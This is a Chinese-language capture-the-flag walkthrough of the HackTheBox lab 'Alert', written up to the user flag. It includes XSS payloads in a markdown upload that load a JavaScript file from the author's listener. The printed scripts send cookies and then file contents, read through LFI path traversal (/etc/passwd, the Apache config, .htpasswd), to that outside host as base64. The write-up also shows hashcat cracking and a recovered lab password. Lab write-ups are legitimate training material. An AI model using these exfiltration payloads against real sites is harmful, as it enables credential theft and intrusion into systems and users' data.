Alert
nmap扫一下,看到开放了22和80端口
访问一下

于是将该域添加到/etc/hosts
echo "10.10.11.44 alert.htb" |sudo tee -a /etc/hosts
进入了一个markdown网页

用dirsearch扫出来/messages.php
是个空白页, 和/uploads/
访问返回403
再用ffuf进行子域名的爆破,找一个很全的字典,当然,kali也有自带的子域名字典locate dns | grep "/usr/share" | grep ".txt"

我用的是下载的字典
ffuf -w /home/dream/桌面/fuzzDicts-master/subdomainDicts/dic1.txt -u http://alert.htb -H "Host:FUZZ.alert.htb" -fw 20

我们把这个子域名加到/etc/host
sudo sed -i '/10.10.11.44 alert.htb/ s/$/ statistics.alert.htb/' /etc/hosts
然后访问statistics.alert.htb

可以在网上搜索一下有关markdown的漏洞,最有可能的就是xss
那么就来试一下,创建一个markdown文档
1 2 3
| <script> alert(1) </script>
|
提交后

然后用burpsuite抓包一下

修改一下
<script src="http://监听设备的ip:3000/pwned.js"></script>

开启监听
nc -lvnp 3000

看到监听成功,显示 HTML 注入和 XSS 有效
接下来看看管理员是否可以点击练习消息中的链接


通过监听可以看到管理员点击了连接
之后尝试获取cookie
pwned.js
1
| fetch("http://10.10.16.63:8000/?"+btoa(document.cookie));
|

将pwned.js所在目录开启一个·python服务
python3 -m http.server

之后python服务器可以看到
1 2 3 4
| 10.10.11.44 - - [28/Mar/2025 19:57:03] "GET /pwned.js HTTP/1.1" 200 - 10.10.11.44 - - [28/Mar/2025 19:57:03] code 404, message File not found 10.10.11.44 - - [19/Mar/2025 18:43:29] "GET /? HTTP/1.1" 404 -
|
第一个是获取脚本,第二个是从正在运行的脚本获取。没有 cookie,这意味着用户没有 cookie,或者它被标记为http_only
。
因为之前访问时文件messages.php
返回的是空文件,那就让管理员点击,看会不会返回什么内容
1
| <script src="http://10.10.16.63:8000/pwned.js"></script>
|
将pwned.js内容修改为
1 2 3 4 5 6
| var req = new XMLHttpRequest(); req.open('GET', 'http://alert.htb/messages.php', false); req.send(); var req2 = new XMLHttpRequest(); req2.open('GET', 'http://10.10.16.63:8000/?content=' + btoa(req.responseText),true); req2.send();
|

base64解码之后可以获得
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
然后可以测试一下LFI攻击路径遍历
1 2 3 4 5 6
| var req = new XMLHttpRequest(); req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/passwd', false); req.send(); var req2 = new XMLHttpRequest(); req2.open('GET', 'http://10.10.16.63:8000/?content=' + btoa(req.responseText),true); req2.send();
|
ok,带出成功可以进行路径遍历
1 2 3 4 5 6
| python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http: 10.10.16.63 - - [30/Mar/2025 20:33:16] "GET /pwned.js HTTP/1.1" 200 - 10.10.16.63 - - [30/Mar/2025 20:33:25] "GET /?content=Cg== HTTP/1.1" 200 - 10.10.11.44 - - [30/Mar/2025 20:33:45] "GET /pwned.js HTTP/1.1" 200 - 10.10.11.44 - - [30/Mar/2025 20:33:47] "GET /?content=PHByZT5yb290Ong6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAwOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTAxOjEwMzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAyOjEwNDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgptZXNzYWdlYnVzOng6MTAzOjEwNjo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwNDoxMTA6Oi9ob21lL3N5c2xvZzovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA1OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KdHNzOng6MTA2OjExMTpUUE0gc29mdHdhcmUgc3RhY2ssLCw6L3Zhci9saWIvdHBtOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDc6MTEyOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCnRjcGR1bXA6eDoxMDg6MTEzOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbGFuZHNjYXBlOng6MTA5OjExNTo6L3Zhci9saWIvbGFuZHNjYXBlOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjExMDoxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTE6MTE2OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTEyOjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMTM6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KYWxiZXJ0Ong6MTAwMDoxMDAwOmFsYmVydDovaG9tZS9hbGJlcnQ6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmRhdmlkOng6MTAwMToxMDAyOiwsLDovaG9tZS9kYXZpZDovYmluL2Jhc2gKPC9wcmU+Cg== HTTP/1.1" 200 -
|
解码一下得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <pre>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:113:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin albert:x:1000:1000:albert:/home/albert:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false david:x:1001:1002:,,,:/home/david:/bin/bash </pre>
|
之后就可以想到statistics.alert.htb
需要一个认证,可以通过遍历读取到敏感信息
网站的 Apache 配置通常存储在 中/etc/apache2/sites-enabled
。默认名称为000-default.conf
再次修改读取一下
1 2 3 4 5 6
| var req = new XMLHttpRequest(); req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/apache2/sites-enabled/000-default.conf', false); req.send(); var req2 = new XMLHttpRequest(); req2.open('GET', 'http://10.10.16.63:8000/?content=' + btoa(req.responseText),true); req2.send();
|
解码之后信息为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <pre><VirtualHost *:80> ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb> Options FollowSymLinks MultiViews AllowOverride All </Directory>
RewriteEngine On RewriteCond %{HTTP_HOST} !^alert\.htb$ RewriteCond %{HTTP_HOST} !^$ RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>
<VirtualHost *:80> ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb> Options FollowSymLinks MultiViews AllowOverride All </Directory>
<Directory /var/www/statistics.alert.htb> Options Indexes FollowSymLinks MultiViews AllowOverride All AuthType Basic AuthName "Restricted Area" AuthUserFile /var/www/statistics.alert.htb/.htpasswd Require valid-user </Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>
</pre>
|
可以看到AuthUserFile /var/www/statistics.alert.htb/.htpasswd
,于是读取一下对应的敏感信息
1 2 3 4 5 6
| var req = new XMLHttpRequest(); req.open('GET', 'http://alert.htb/messages.php?file=../../../../../var/www/statistics.alert.htb/.htpasswd', false); req.send(); var req2 = new XMLHttpRequest(); req2.open('GET', 'http://10.10.16.63:8000/?content=' + btoa(req.responseText),true); req2.send();
|
解码之后信息为
1 2
| <pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/ </pre>
|
这是一串APR1(MD5-based)密码哈希,可以用hashcat进行解密
将上面另存为文档
hashcat -a 0 -m 1600 alert.hash /home/dream/桌面/rockyou.txt

解密成功为manchesterunited
之后可以成功登陆statistics.alert.htb
nmap一下可以看到开放了22端口

用刚刚获得的用户名密码ssh连接一下试试

成功连接

获取第一个flag
清明节回来本想继续做这个机器,结果发现居然要花钱了

后面的提权只能遗憾退场了,以后一定一次把机器渗透完,绝不拖延!